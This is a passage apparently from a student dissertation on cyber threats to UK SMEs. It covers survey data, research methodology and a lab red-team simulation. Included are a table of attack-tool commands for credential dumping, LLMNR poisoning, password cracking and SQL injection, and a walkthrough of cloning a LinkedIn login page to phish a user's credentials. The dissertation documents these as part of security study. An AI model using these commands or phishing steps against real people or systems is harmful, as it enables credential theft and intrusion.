The number of UK businesses that were contacted to participate in the survey changes as each year advances. Ipsos conducted a telephone survey of 1,348 businesses in the UK using a random probability sampling method in 2020, 1,419 in 2021, 1,243 in 2022, and 2263 in 2023. This indicates that as of 203, the number of businesses participating in the survey increased from 1,243 in 2022 to 2263 in 2023.

This survey covered the following aspects:
· Understanding perceptions and stances regarding cyber security.
· Strategies employed for cyber security, encompassing both technical and governance procedures implemented by organizations for detecting and handling cyber risks.
· Characteristics and repercussions of cyber security breaches.
· Disparities based on the scale and industry of businesses.
Limitation of this survey
Businesses without any online presence like a website or social media presence were not considered eligible for this survey. This survey was first initiated in 2018 until 2023. The most recent report of this survey is 2023.
[bookmark: _Toc159589685]2.7 OFFENSIVE SECURITY
An offensive security "OffSec," is the term for a group of proactive security techniques that enhance network security as opposed to weakening it by employing similar techniques that threat actors employ in actual attacks. Some offsec methods include Vulnerability assessment, penetration testing, and red teaming [56]

The tactics, procedures, and techniques adopted in offensive security are like those used by actual cyber attackers. By using these techniques, cyber security experts can detect and eliminate every possible vulnerability that could be exploited by cyber attackers [56].  OffSec is divided into three methods. Vulnerability scanning, Penetration testing, and Red teaming.
Each offensive method has unique differences from each other. 
According to [56], Vulnerability Scanning is an automated approach of using specialized tools to detect weaknesses or vulnerabilities in an organization's network. Vulnerability scanners can perform a full scan of a computer or network system for vulnerabilities in software, network devices, hardware driver versions, or unpatched software flaws [56]. This scanning is often performed by an insider security specialist, it is possible that not all vulnerabilities can be detected by the tools, hence, this method is not so reliable [57].   
Gemma Moore, a director at Cyberis, clarifies the disparity between penetration testing and red teaming by stating that penetration testing focuses on identifying technical vulnerabilities within a specific scope of work, aiming for comprehensive coverage. In contrast, red teaming involves simulating an attack scenario, utilizing a wide array of cyber-attack techniques and tools to breach security defenses and access valuable data [57].
Penetration testing often involves the use of human security expertise to detect vulnerabilities by acting as a threat actor [57]. Penetration testing uses specialized techniques and methods similar to what an adversary would use, to get a broad analysis of every technical vulnerability based on an established scope and tries to exploit those weaknesses. This is usually performed by a penetration tester, who often has access to more advanced security tools and services, that can be used to discover more flaws than a scanner tool. They are often provided with little or no details about the network to be penetrated. 
 On the other hand, Red Teaming testing adopts a more sophisticated approach towards discovering vulnerabilities and exploiting those vulnerabilities to expose or hijack sensitive data from the system without being caught. Red teaming adopts every technique a real-world cyber attacker will employ to breach a network system, and attacks are often simulated from any location, without any information given to the red teamer [56]. In other words, red teaming uses every adversary technique and manipulation to breach a network to access confidential data but doesn’t steal it [58]. After the attack, the red team reports all vulnerabilities discovered, the attacks conducted, the success achieved, and the failures recorded to the organization, and also recommends necessary mitigation techniques to prevent the success of these attacks in the future.

2.8 [bookmark: _Toc159589686]Red Team and Blue Team
[bookmark: _Toc159589687]2.8.1 Red Team
Red team is a team of cyber security experts that employs every adversary skill, pattern, and technique of a real-world cyber attacker, to try to breach an organizational network, to steal or access confidential data [58]. In doing this, they have to check for vulnerabilities and inject trojan horses or malware to modify certain configurations in the network to escalate more privileges within the network. Whereas, the blue team is a team of ethical hackers to act as a repellent against the red team [58]. They employ all necessary ethical methods to try to uncover all patterns utilized by the red team while breaching the network. 
[bookmark: _Toc159589688]2.8.2 Blue Team: The blue team uncovered the footprint and manipulations performed by the red team, to better restructure the security architecture of the network [58]. For this project, the red teaming method of offensive security is adopted to better achieve the aim of the project.

[bookmark: _Toc159589689]2.8.3 Red Teaming vs Blue Team
Red Teams challenge the security environment by acting as adversaries, while Blue Teams protect the organization by detecting and responding to these challenges. The interaction between Red and Blue Teams helps organizations identify weaknesses, improve incident response processes, and enhance their overall security posture. 
Certain organizations utilize "Purple Teams" as well, with the goal of fostering cooperation between Red and Blue Teams. This collaboration ensures that defensive strategies are shaped by the knowledge acquired through offensive testing.

[bookmark: _Toc159589690]2.9 Tools for conducting a red teaming attack simulation
Certain organizations utilize "Purple Teams" as well, to foster cooperation between Red and Blue Teams. This collaboration ensures that defensive strategies are shaped by the knowledge acquired through offensive testing. Below is a table that outlines some of the most commonly used tools in red teaming, highlighting their names, capabilities, uses, and associated commands. Each tool has its specific environment and context for use, making them essential components of a red teamer's toolkit. The commands provided are basic examples; each tool offers various commands and options tailored to various attack scenarios. 
Table 2 below, is a list of some of the most frequently used attack tools by red team engineers. The table includes the names of the tools, their capabilities, uses, and basic commands.

	Name
	Capabilities
	Uses
	Example Commands

	Metasploit
	Exploitation Framework
	To exploit vulnerabilities in networks and applications
	msfconsole to start; use exploit/multi/handler to set up a listener

	Cobalt Strike
	Post-Exploitation Tool
	To simulate advanced persistent threats (APTs) for network reconnaissance and data exfiltration
	beacon> powershell_import to import PowerShell scripts

	Nmap
	Network Discovery and Security Auditing
	To detect devices and services within a network and pinpoint vulnerabilities.
	nmap -sS -T4 target for stealthy port scanning

	Wireshark
	Network Protocol Analyzer
	Capture and analyze network traffic
	GUI-based; no specific command, but can use tshark for CLI

	Burp Suite
	Web Vulnerability Scanner
	To identify security vulnerabilities in web applications
	GUI-based; use proxy to intercept and modify requests

	Mimikatz
	Credential Harvester
	To extract plaintext passwords, hash, PIN codes, and kerberos tickets from memory
	mimikatz.exe to start; sekurlsa::logonpasswords to dump passwords

	PowerSploit
	PowerShell Toolkit
	To perform network reconnaissance, bypass security measures, and exploit systems
	Import-Module .\PowerSploit.psd1 to import; use specific modules like Invoke-Shellcode

	Nessus
	Vulnerability Scanner
	To scan systems, networks, and applications for vulnerabilities
	GUI-based; scans are configured and run from the web interface

	Gobuster
	Directory/File & DNS Enumeration Tool
	To brute-force URIs in websites and DNS subdomains
	gobuster dir -u https://example.com -w wordlist.txt to brute-force web directories

	Gobuster
	Directory/File & DNS Enumeration Tool
	To brute-force URIs (directories and files) in web sites and DNS subdomains
	gobuster dir -u https://example.com -w wordlist.txt to brute-force web directories

	SQLmap
	Automated SQL Injection Tool
	To detect and exploit SQL injection flaws in database servers
	sqlmap -u "http://example.com/page?id=1" --dbs to list databases

	PowerShell Empire
	Post-exploitation framework, PowerShell-based command and control
	Lateral movement, maintaining persistence
	listeners<br>usestager windows/launcher_bat<br>set Listener http<br>execute

	BloodHound
	Active Directory Enumeration Tool
	To visualize AD environment and identify attack paths
	bloodhound --CollectionMethod All

	Responder
	LLMNR/NBT-NS/mDNS Poisoner
	To perform man-in-the-middle attacks on a network
	responder -I eth0 -wrf

	CrackMapExec
	Post-Exploitation Tool
	To automate assessment of large Active Directory networks
	crackmapexec smb 192.168.1.1/24

	THC Hydra
	Network Login Cracker
	To perform rapid dictionary attacks against more than 50 protocols, including FTP, HTTP, and SMB
	hydra -l user -P passlist.txt ftp://192.168.1.1

	OpenVAS
	Vulnerability Assessment Tool
	To scan systems for known vulnerabilities
	GUI-based; scans configured and run from web interface

	hashcat
	Password Cracker
	To perform password recovery using GPU acceleration
	hashcat -m 0 -a 0 hash.txt wordlist.txt

	John the Ripper
	Password Cracker
	To detect password weaknesses in databases or files
	john --wordlist=wordlist.txt hash.txt


[bookmark: _Toc159589629]Table 2 Components of a red teamer's toolkit [60]

In summary, based on table 2 above, this table serves as a guide to some of the most widely used tools in red teaming. The commands provided are basic examples designed to give a quick start. Each tool comes with a comprehensive set of options and capabilities that can be tailored to specific testing scenarios and environments. However, for ethical reasons, authorization is crucial before using any of these tools to conduct any form of testing on networks or systems not owned or explicitly permitted for such activities.

Conclusion of Literature Review
This chapter has broadly covered quite a range of topics to aid in achieving the aim and objectives of this project. The cyber security landscape from 2020 to 2024 has been dynamic and challenging, particularly for Small and Medium-sized Enterprises (SMEs). SMEs have increasingly become targets of cyber threats, underscoring the critical need for robust cyber security architectures tailored to their specific vulnerabilities and resource constraints. Despite the emergence of sophisticated cyber threats, the adoption of comprehensive cyber security frameworks, alongside innovative approaches like (Intrusion Prevention and Detection Systems), and offensive security, has proven instrumental in enhancing SMEs' resilience against cyber-attacks. Furthermore, tools for attack simulation, have enabled SMEs to proactively identify and mitigate potential vulnerabilities. In achieving the aim of this project, which discovering key threats in SMEs, data collection is pivotal in ensuring adequate results are generated, hence the need to rely on Ipsos as a trusted source of survey data. The challenges of implementing robust security measures are significant, and often hindered by limited financial and technical resources. As the digital threat landscape continues to evolve, SMEs must prioritize adaptive and cost-effective strategies to safeguard their digital assets and ensure business continuity.



[bookmark: _Toc159589691]CHAPTER 3
	
[bookmark: _Toc159589692]3.1 Introduction
[image: ]This chapter presents the research philosophy, approach, research strategy, research instrument, data-gathering procedure, and statistical technique. The research onion model will guide the discussion of this project towards achieving its aim and objectives [52].
[bookmark: _Toc159589536]Figure 10 research onion by Saunders [52]
The notion of the research onion, as presented by Saunders, Lewis, and Thornhill in their publication "Research Methods for Business Students" and illustrated in Figure 1, outlines a systematic approach to research design [52]. The process begins at the outer layer of the onion, where the researcher is required to define the philosophical paradigm guiding their research. Subsequently, the chosen approach aligns with the identified paradigm. For instance, in the case of a positivist paradigm, the deductive approach is adopted since positivist research involves testing theories and achieving generalizability [11].
The research onion serves as a metaphorical framework illustrating the sequential layers or phases of the research process. Saunders et al. (2007) introduced this model to aid researchers in comprehending the diverse elements associated with planning and executing a research project. Comprising six layers, the research onion delineates distinct facets of the research journey., from broad philosophical considerations to specific data collection techniques. Here is an overview of the layers of the research onion [53]:

[bookmark: _Toc159589693]3.2 Research Philosophy
This is the innermost layer and represents the overall approach to the research, it represents the researcher's worldview and approach to understanding the nature of reality. Common research philosophies include positivism, interpretivism, and pragmatism. For a cyber security threat analysis and mitigation study, a positivist approach will be suitable as it emphasizes the use of objective data and scientific methods.  There are three main research philosophies [53]:
· Positivism: Emphasizes an objective and observable reality. Quantitative methods are often associated with positivist research.
· Interpretivism: Focuses on understanding subjective meanings and interpretations. Qualitative methods are commonly used in interpretivist research.
· Pragmatism: Integrates elements from both positivism and interpretivism paradigms, selecting the most suitable methodologies to address research inquiries
A positivist research philosophy is adopted for this project because positivism focuses on quantitative research, where the goal is to quantify variables, measure relationships, and establish statistical relationships. Positivism is also useful when working on large-scale surveys, where statistical analysis is used to infer patterns and relationships within the data collected from large numbers of participants. For this research, large-scale cyber threats survey data on SMEs in the UK between 2020 - and 2023 was collected and analyzed to determine the frequently occurring threats within 4 years, the highest-ranked threats will form the key threats, which will determine the type of attacks to be conducted. 
While positivism offers robust methods for certain types of research, it's important to recognize its limitations, particularly in studying complex, subjective, and social phenomena where qualitative methods and interpretivism approaches might provide deeper insights.

[bookmark: _Toc159589694]3.3 Research Approach

The second layer entails selecting between deductive and inductive reasoning approaches. Deductive reasoning commences with a theory and subsequently tests it against data, whereas inductive reasoning initiates with data and formulates theories based on it. In the context of cyber security, a deductive approach may be appropriate, starting with established theories about threat analysis and mitigation. Choosing a specific research approach, is influenced by the chosen philosophy. The two main approaches are [53]:
Deductive: Starts with a theory or hypothesis and tests it through empirical observation.
Inductive: Begins with observations and patterns and works towards the development of theories.
A deductive research approach is ideal for this project because this project aims to determine the level of threats and how often it has occurred within a certain period. Since a deductive approach measures variables, establishes relationships between them, and quantifies the results, based on the survey data on cyber threats in UK SMEs, from the period 2020 to 2023, each threat will be critically analyzed based on how frequently it occurred and the impact it had on different SMEs, who were involved in the survey. Since the deductive approach relies on structured methodologies and standardized procedures, it is ideal to say that the deductive approach can be used to predict the outcome of the survey data based on the analysis done by Ipsos. While the deductive approach offers a logical and systematic method for testing theories, it may not be suitable for exploratory research or in areas where little is known about the phenomenon being studied.

[bookmark: _Toc159589537][image: ][image: ]Figure 11 Comparison between quantitative and qualitative research [54]
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[bookmark: _Toc159589538]Figure 12 Quantitative and Qualitative style [54]

[bookmark: _Toc159589695]3.4 Research Strategy
To achieve the overall aim of this project, a comprehensive plan is required to guide the direction and approach of this project. Firstly, an experimental research design is adopted in collecting the data through in-depth research conducted to determine the cyber threats landscape in the UK for the past four years, the various cyber threats that took place in UK SMEs, between 2020 to 2024, and from deductive philosophical stance, the frequently occurring threats will determine the key threats affecting SMEs. The quantitative methodological approach was adopted for this project since the data collected was measurable, and a statistical analysis was conducted using a bar chart, each bar represented a threat, and the bar with the highest percentage formed the basis for determining the key threats affecting SMEs. By carefully considering each component of the research strategy, the quality, and the impact of the findings will aid the proper implementation of this project.

[bookmark: _Toc159589696]3.5 Research Choices
At the fourth layer, researchers make specific decisions regarding data collection methods, sampling techniques, and approaches to data analysis. In the context of cyber security, you might choose to collect threat data through network monitoring tools, conduct interviews or surveys with security experts, and analyze data using statistical methods. It involves decisions related to the methodology and methods chosen for data collection and analysis. Research choices include:
· Mono-method: The mono-method employs a singular research approach throughout the study. Conversely.
· Mixed methods: mixed methods necessitate integrating two or more research methodologies, typically combining qualitative and quantitative approaches. 
· Multi-method: The multi-method extends this by incorporating a broader array of research techniques.
This project will utilize survey data on cyber threats in the UK over the past four years to determine the key threats affecting SMEs.  Given the nature of this research, a mono-method quantitative research choice is appropriate. This involves collecting numerical data on cyber security measures and breach incidents to statistically analyze their impact rate, by Utilizing a quantitative research method to enable statistical analysis of the effectiveness of different cyber security breaches. 

[bookmark: _Toc159589697]3.6 Time Horizon
The fifth layer is the time horizon. This layer involves decisions about the timeframe for the research. For cyber security threat analysis, the time horizon might be influenced by the types of threats you're investigating. Some threats may be ongoing and require real-time analysis, while others may involve historical data depicting the duration during which the research is carried out. This can be:
Cross-Sectional: Gathering data at one specific moment in time.
Longitudinal: Collecting data over a prolonged duration to monitor changes occurring over time.
A cross-sectional time horizon is suitable for this research choice, as it aims to assess the effectiveness of cyber security measures at a specific point in time or over the past four-year period.
Decision: Conduct the research at a single point in time or over a specific short period to capture a snapshot of the effectiveness of cyber security measures.
[bookmark: _Toc159589698]3.7 Techniques and procedures

[bookmark: _Toc159589699]3.7.1 Data Collection:
At the outermost layer, researchers determine the precise methods and techniques employed for data collection. This may encompass surveys, interviews, observations, experiments, or document analysis, among other approaches.
For this project, the data collection technique adopted is an interview. Since this project relies on secondary data generated by Ipsos, based on the report, their method of generating the cyber threats report was through a survey, where a top member staff of each SME was contacted via a phone call to participate in a brief survey, to answer some questions relating to the cyber security landscape of their organisations. This survey is conducted every year using a one-on-one conversation technique to collect detailed information to evaluate the current threat landscape. 









[bookmark: _Toc159589700]3.7.2 Data Analysis
This project uses existing data sourced by the Department for Digital, Culture, Media and Sport, UK. Existing data from the past four years was collected and re-analyzed to determine the frequency of threats and the level of impact they had on the organizations. Using a data visualization procedure like bar charts to graphically represent the flow and trends of these attacks, the aim of identifying key threats in SMEs was achieved.
Below is a data analysis report based on the existing collected data over the past four years, between 2020 – 2023. Each table is accompanied by a bar chart to graphically represent the trends of each threat and the percentage of SMEs that were attacked by particular threats.
Percentage of Small and Medium-sized Enterprises (SMEs) that reported identifying various types of threats or attacks in 2020, among those organizations that have acknowledged any breaches or attacks.
[image: ]
[bookmark: _Toc159589630]Table 3 Cyber threats survey for 2020 [17]
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[bookmark: _Toc159589539]Figure 13 Bar chart for cyber threats survey 2020 [17]








Percentage of Small and Medium-sized Enterprises (SMEs) that reported identifying various types of threats or attacks in 2021, among those organizations that have acknowledged any breaches or attacks.	
[image: ]							
[bookmark: _Toc159589631]Table 4 cyber threats survey for 2021 [15]
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[bookmark: _Toc159589540]Figure 14 Bar chart for cyber threats survey 2021 [15]






Percentage of Small and Medium-sized Enterprises (SMEs) that reported identifying various types of threats or attacks in 2022, among those organizations that have acknowledged any breaches or attacks.
[image: ]
[bookmark: _Toc159589632]Table 5  Cyber threats survey 2022 [14]

Of the UK businesses that reported experiencing attacks in 2022 (representing 39% of surveyed businesses), phishing attempts emerged as the most common threat vector, comprising 83% of incidents. About one-fifth (21%) of these businesses recognized more advanced attack types like denial of service, malware, or ransomware attacks. Despite ransomware's lower frequency, it was still perceived as a substantial threat, as 56% of businesses had policies against paying ransoms.
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[bookmark: _Toc159589541]Figure 15 Bar chart for cyber threats survey 2022 [14]


Within the group of organizations reporting cyber-attacks, approximately 31% of businesses estimate being attacked at least once a week. Around one-fifth of both businesses (20%) experienced direct negative outcomes as a result of cyber-attacks, while approximately one-third of businesses (35%) encountered at least one adverse impact [14].


Percentage of Small and Medium-sized Enterprises (SMEs) that reported identifying various types of threats or attacks in 2023, among those organizations that have acknowledged any breaches or attacks.

[image: ]
[bookmark: _Toc159589633]Table 6 Cyber threats survey for 2023 [16]






[bookmark: _Toc159589542]Figure 16 Bar chart for cyber threat survey 2023 [16][image: ]

	Comment by David Ntino (2225674): Contingency plan?
Project Plan (Gantt Chart?)
Systems Requirements?




PROJECTT PLAN (GANTT CHART)
A project plan is used throughout the project as a guide for execution and monitoring progress.
[image: ]





A 


Contingency Plan
A contingency plan is designed to address specific unforeseen events or risks that could impact the project. It is essentially a backup plan, focusing on preparedness and rapid response to ensure the project's objectives can still be met in the face of unexpected challenges.

· The project scope of data collection is reduced to 4 years to meet the date line.
· If some of the proposed attacks fail, metasploitable2 will be used as a vulnerable machine to perform other attacks like DDOS, Dictionary attack, Metasploitable/VSFTP , 
· Some tools proposed for the implementation of this project might be effective due to patch vulnerabilities, hence some attacks might not work to complete its cycle.
· Due to the nature of Some attacks, not all tactics or steps in the MITRE ATT&CK framework will be implemented or followed.
· Some attack tools didn't work for some experiments, but other tools were deployed


SYSTEM REQUIREMENT
Hardware Specifications
Processor: Intel Core i9 or AMD Ryzen 9 (or equivalent) with at least 8 cores/16 threads to handle multiple virtual machines and intensive tasks simultaneously.
Memory (RAM): 32 GB DDR4 minimum, 64 GB recommended for running multiple virtual machines and tools without performance degradation.

Software Specifications
Operating System: A dual-boot setup with both Windows 10/11 Pro (for compatibility with Windows-specific tools and Active Directory simulations) and a Linux distribution specialized for penetration testing (e.g., Kali Linux or Parrot Security OS).
Virtualization Software: VMware Workstation Pro or Oracle VM VirtualBox for hosting multiple virtual machines (VMs) for various testing environments, including target systems and attack platforms.
Security Tools Suite:
For Windows: PowerShell Empire, Metasploit Framework, BloodHound, Mimikatz, and Burp Suite.
For Linux: Kali Linux Tools (including Nmap, Wireshark, Aircrack-ng, John the Ripper, and OWASP ZAP).

[bookmark: _Toc159589701]Chapter Four
[bookmark: _Toc159589702]4.0 Design and Implementation

[bookmark: _Toc159589703]4.1 Introduction
This chapter will focus on two aspects, the design phase, and the implementation phase. 
The design phase will give details about the proposed design of how the testing environment. 
A flowchart will guide the cover of the design phase which involves a flowchart of a sample SME network system and also the flowchart of each attack to be conducted. 

[bookmark: _Toc159589704]4.2 Problem Formulation
Analyzing major threats that affect SMEs and implementing necessary mitigation strategies is the main aim of this project. To achieve this, a virtual network infrastructure to depict an SME network will be designed and set up using a virtual environment like VirtualBox, or VMware. Different virtual machines will be set up and configured with the Windows operating system, Windows Servers, MySQL database, Web application servers, and firewall protocol will be set up. The attacker machine will be a Kali Linux machine, victim machines will run on Windows, and metasploitable 2. 
To test the current security architecture of SMEs, an offensive security approach (Red teaming) will be employed for this project.  

[bookmark: _Toc159589705]4.3 A scenario is developed to guide the implementation of this project scope
Evon Enterprise, a small to medium-sized enterprise (SME) specializing in e-commerce solutions, has recently recognized the escalating threats in cyberspace, particularly targeting industries of its nature. As part of its strategic initiative to bolster cybersecurity resilience, the company has decided to engage a Red Team to conduct an attack simulation on its network system infrastructure. This proactive measure is aimed at identifying vulnerabilities, testing the effectiveness of existing security measures, and enhancing the company's defense mechanisms against potential cyber threats.
[bookmark: _Toc159589706]4.4 Scenario Background
Evon Enterprise has observed a surge in cyber threats targeting SMEs in the e-commerce sector, including phishing attacks, ransomware, and sophisticated breaches aimed at financial theft and data compromise. Given its reliance on online platforms for business operations, any compromise could result in significant financial losses, erosion of customer trust, and regulatory repercussions. Furthermore, with the integration of new technologies and expansion of remote work policies, the complexity of the company's network has increased, potentially introducing new vulnerabilities.

[bookmark: _Toc159589707]4.5 The objective of the Attack Simulation
The primary objective is to conduct a comprehensive and realistic simulation of cyber-attacks targeting Evon Enterprise's network system infrastructure. This includes, but is not limited to:
Identifying vulnerabilities in the network, applications, and systems that malicious actors could exploit.
Based on the identified key threats as previously discussed in Chapter 2, the following attacks will be considered by the Red team, to ascertain why and how these threats occur.
The attacks include but are not limited to Phishing attacks (Spear phishing), Domain Active Directory Attacks (LLMNR, Kerberosting), Distributed Denial of Service Attacks, Privilege Escalation, Insider attack, Ransomware attacks, and Malware, Virus attacks 







[bookmark: _Toc159589708]4.6 Setting Up a Simulation Environment:
A virtualized environment will be set up as Evon network infrastructure. 
In setting up this virtual environment, so many factors were considered, such as the scope of the attacks, legal and ethical considerations, safety and security of data and resources, and Tools and resources to be used were considered. This simulation was set up and configured on a Virtual box, with 5 virtual machines each with ISO operating systems installed on each, and all connected via a Nat Network to enable communication across all virtual machines.
Attacker_Kali Linux machine: This will act as the threat actor. It will be used to exploit other machines on the network. IP Address: 192.168.57.5
EVON Server: This machine is a Windows 2019 server with a domain controller (Evon.local) set up to manage Users, Groups, Computers, and Group Policies. IP Address: 192.168.57.8
EVWork-PC1: This machine is set up as a domain admin PC, and it is joined to a domain (EVON.local) It will be used to target the server machine. IP Address: 192.168.57.9
EVWork-PC2: This machine is set up as a user PC, and is joined to the domain (EVON.local). It will be by the Kali machine in an attempt to escalate privileges in the server machine. IP Address: 192.168.57.10
Matasploitable2: This is a vulnerable machine, with unpatched vulnerabilities. It is a testing environment for simulating how real-world attacks are performed by hackers. IP Address: 192.168.57.11
[image: ]
[bookmark: _Toc159589543]Figure 17 Virtual Simulation Environment Setup


[bookmark: _Toc159589709]4.7 Evon Enterprise Network Structure

This project has adopted a name for a sample SME called Evon Enterprise. Based on research a single SME in the UK comprised of 1 to 250 employees [1]. Most SMEs have no properly trained and certified network security expert. This SME network is designed as an enterprise environment with a web, Mail, and File server, each protected with firewalls and IDPs/IPS.
[bookmark: _Toc159589710]4.7.1 Physical Topology
Physical topology is the actual layout design of the network's hardware. It is primarily concerned with the physical layout of cables and devices, which affects the network's performance, scalability, and fault tolerance

[image: ]

[bookmark: _Toc159589544]Figure 18 Evon Physical network topology structure
[bookmark: _Toc159589711]4.7.2 Logical Topology Design of Evon Enterprise
Logical topology focuses on how data is transferred within the network. It deals with the design of the network's data flow and protocols, impacting the network's efficiency and traffic management.

[image: ]

[bookmark: _Toc159589545]Figure 19 Logical Network Topology
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[bookmark: _Toc159589546]Figure 20 Flowchart design for Proposed Red teaming
Start 


Kali Linux machine is the attacker machine, preloaded with attacking tools, Windows server machine is set up with a Domain controller, DNS, and DHCP, populated with over 100 users and 50 computers, windows 10 machine is set up as the victim machine,
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[bookmark: _Toc159589547]Figure 21 Attacks simulation for Red teaming
[bookmark: _Toc159589712]4.7.3 Flow diagram for Red Teaming Attack Simulation on Evon Enterprise Network systems
[image: ]
[bookmark: _Toc159589548]Figure 22 Flowchart implementation process for attack simulation




[bookmark: _Toc159589713]4.7.5  Steps and Procedures for Attack Simulation according to MITRE ATT&CK Framework
I. Identifying Targets and Assets:
Identifying the specific systems, applications, and data within the attack simulation's scope. Perform attacks based on proposed key threats.
II. Information Gathering (Reconnaissance):
Collect information about the target environment using passive and active reconnaissance techniques.
III. Network Scanning and Enumeration:
Scan the network for live hosts and open ports. Enumerate services and gather detailed information about the target systems.
IV. Vulnerability Assessment:
Identify and assess vulnerabilities in the target systems. Use tools like Nessus, OpenVAS, or other vulnerability scanners
V. Exploitation and Gaining Access:
Exploit identified vulnerabilities in Evon network infrastructure, to gain initial access to the target systems. 
VI. Privilege Escalation:
Try to elevate privileges on compromised systems to simulate an attacker gaining higher levels of access.
VII. Lateral Movement:
Move laterally within the network, simulating an attacker's ability to pivot and access additional systems.


VIII. Data Exfiltration:
Attempt to exfiltrate sensitive data from the target environment, simulating a real-world data breach.
IX. Cleanup and Reporting:
Remove any traces of the penetration test and prepare a detailed report outlining findings, vulnerabilities, and recommended remediation steps.
X. Enforcing Security/Mitigations and Analysing the network security posture
Document details of the attacks, including the attacks that were successfully conducted and the ones that failed, giving reasons why they failed. Recommend mitigation techniques for the attacks that were successful.

It is important to note that due to time factors, not all of the above MITRE ATT&CK Techniques steps will be documented in all phases of the attack simulation. Some steps and techniques will be skipped in the reporting, but key phases will be documented. 









[bookmark: _Toc159589714]CHAPTER 5

[bookmark: _Toc159589715]5.0 TESTING AND RESULTS

Introduction
In this chapter, details of each phase of the attack simulation will be explained and documented. Testing is based on identifying targets, vulnerability in the target, exploiting the weakness, and recommending necessary mitigation strategies. This testing will cover 4 different types of attacks; Phishing, Active Directory (LLMNR Poisoning) Privilege Escalation, Insider threat attack, Distributed Denial of Service (DDOS), and Very Secure FTP Daemon (Backdoor Attack).
NOTE: All tools, commands, and results for each attack are included in the screenshots attached to each attack types.
[bookmark: _Toc159589716]5.1 PHISHING (Spear Phishing) ATTACK
In Spear phishing, attackers specifically target an individual within an organization to steal their login credentials. They often gather information about the victim, such as their name, position, and contact details through social media, before launching the attack.
Goal: To assess the organization's vulnerability to spear phishing attacks from professional networking sites like LinkedIn.
· Planning and Reconnaissance (Preparation)
The target's personal information like contact details was collected via LinkedIn based on the user's profile.
The target's email address and phone number were collected via her LinkedIn account. 
[image: ]





[bookmark: _Toc159589549]Figure 23 targets contact information

· Creating a spear Phishing message
To further prove the originality of this attack, the target had previously made a post on LinkedIn indicating an urgent need to upgrade her account to a premium account. from an attacker's perspective, that is something to capitalize on. 
[image: ]








[bookmark: _Toc159589550]Figure 24 screenshot of targets social media post

[image: ]
[bookmark: _Toc159589551]Figure 25 Screenshot of drafted spear phishing mail

· Simulation Execution
The crafted message was sent to the target via Gmail, the email claims to have been sent from the LinkedIn support team as seen in Figure 26, including a phishing link for the user the link in to claim a free one-month premium account.
[bookmark: _Toc159589552][image: ]Figure 26 Screenshot of spear phishing mail sent to target

· Execution
The link redirects to a controlled page simulating a credential-harvesting site. The target was directed to a clone LinkedIn page containing more details about the free one-month premium membership promo. 
[image: ]A tool known as Zphisher was used to clone a LinkedIn web page with details about the premium membership. 




[bookmark: _Toc159589553]Figure 27 Screenshot of Zphisher tool
[image: ]
[bookmark: _Toc159589554]Figure 28 Screenshot of cloned LinkedIn ads page

[image: ]The user clicks on the “Try free for 1 month” and is directed to a sign-in page. The user was also notified that the connection was not a secured one as seen in Figure 29, and logins entered here could be compromised, this further proves it’s a phishing link.








[bookmark: _Toc159589555]Figure 29 Phished sign-in page



· Monitoring and Analysis
As the target signed in, her login details were harvested on Zphisher, as seen below in Figure 30, while the user was redirected to her actual LinkedIn account page as seen in Figure 31.



[image: ][image: ]	


[bookmark: _Toc159589556]Figure 30 screenshot of collected target credentials		Figure 31 Target LinkedIn page after successful login			
“For privacy, the user login credentials and IP are concealed because the LinkedIn account belongs to a real user”

· Mitigation and Improvement
· Security Awareness Training (T1536): I highly recommend an enhanced training program to include the identification of spear phishing attempts, particularly those originating from professional networks like LinkedIn.
· Improve Phishing Detection (T1566.001): Implement or upgrade email and web filtering solutions to better detect and block phishing attempts.
· Strengthen Response Protocols: Improve procedures for reporting and responding to suspected phishing attempts.




[bookmark: _Toc159589717]5.2 ACTIVE DIRECTORY (LLMNR Poisoning)
[image: ][image: ]To perform this attack, an actual Active Directory was installed and configured on a Windows Server 2019. Users and computers were added, and different privileges were given according, although, some users had too many previledges, which will be exploited to elevate privileges within the domain.
[image: ][image: ]									



[bookmark: _Toc159589557]Figure 32 Active Directory setup			Figure 33 Users were added to the domain and roles assigned
 
[bookmark: _Toc159589558]Figure 34 Computers joined the domain				Figure 35 A User successfully signed in as a domain user



Simulating an Active Directory attack, specifically using LLMNR (Link-Local Multicast Name Resolution) Poisoning, within the context of a Red Team exercise, requires adherence to ethical guidelines and precise execution. This simulation aims to identify vulnerabilities in the network's name resolution process that could be exploited by adversaries. The MITRE ATT&CK framework categorizes this technique under "Adversary-in-the-Middle" (T1557), focusing on the sub-technique "LLMNR/NBT-NS Poisoning and SMB Relay" (T1557.001).
· Goal: Assess the vulnerability of the Evon.local network to LLMNR Poisoning attacks and the potential for credential interception or misuse.
· Scope: The simulation targets the internal network environment of Evon Enterprise, specifically focusing on exploiting LLMNR and NBT-NS (NetBIOS Name Service) protocols for credential theft. This attack is only limited to credential harvesting and does not include data exfiltration.

· Planning and Reconnaissance
Since this is a red team attack simulation, the network name and IP address were given as (EVON.local and the network IP address is 192.168.57.0/24, but the hosts on the network are unknown. 
· Network Mapping: Identify network segments and devices participating in LLMNR and NBT-NS, using an Nmap scanner, the network was scanned to identify active hosts and targets.
[image: ]
[bookmark: _Toc159589559]Figure 36 Identified hosts in the domain
· Identify Targets: Computers and users that frequently access shared network resources were identified, as they are more likely to generate LLMNR or NBT-NS queries as seen in Figure 36. 

Some vulnerabilities were set were manually set up for this attack to be successful.
Firstly, the firewall was disabled as seen in Figure 37, the service user (SQL support) was added to the Domain Admins group as seen in Figure 38, and an SPN weakness was added (A Service Principal Name (SPN) vulnerability in Active Directory (AD) typically refers to security weaknesses or misconfigurations associated with SPNs that can be exploited to perform attacks such as Kerberoasting) as seen in figure 39. 
[image: ][image: ]

[bookmark: _Toc159589560]Figure 37 Disable firewall rule					Figure 38 Service user added to a domain group

[image: ]


[bookmark: _Toc159589561]Figure 39 SPN Vulnerability








· Simulation Execution
1. Adversary-in-the-Middle 
[image: ]The Kali machine is configured to log any credentials as seen in Fig. 40 or hashes that are transmitted when a client attempts to authenticate to the simulated service, as seen in Figs. 41 and 42.
[image: ]

[bookmark: _Toc159589562]Figure 40 Kali configured to log credentials			Figure 41 Targeted user logged in to computer

[image: ]






[bookmark: _Toc159589563]Figure 42 User trying to access unauthorized location



· Credential Access
LLMNR/NBT-NS Poisoning: Using Responder to listen for LLMNR and NBT-NS queries on the network. A user (arobert) queries a hostname that does not exist in the DNS, and the Responder "poison" the query response, falsely claiming to be the queried host, thus initiating a connection with the target device.
[image: ][image: ]







[bookmark: _Toc159589564]Figure 43 responder poisoning			Figure 44 responder listening for events

The LLMNR Poisoned response is sent to the server, requesting logged-in user credentials as seen below in Fig. 45
[image: ]
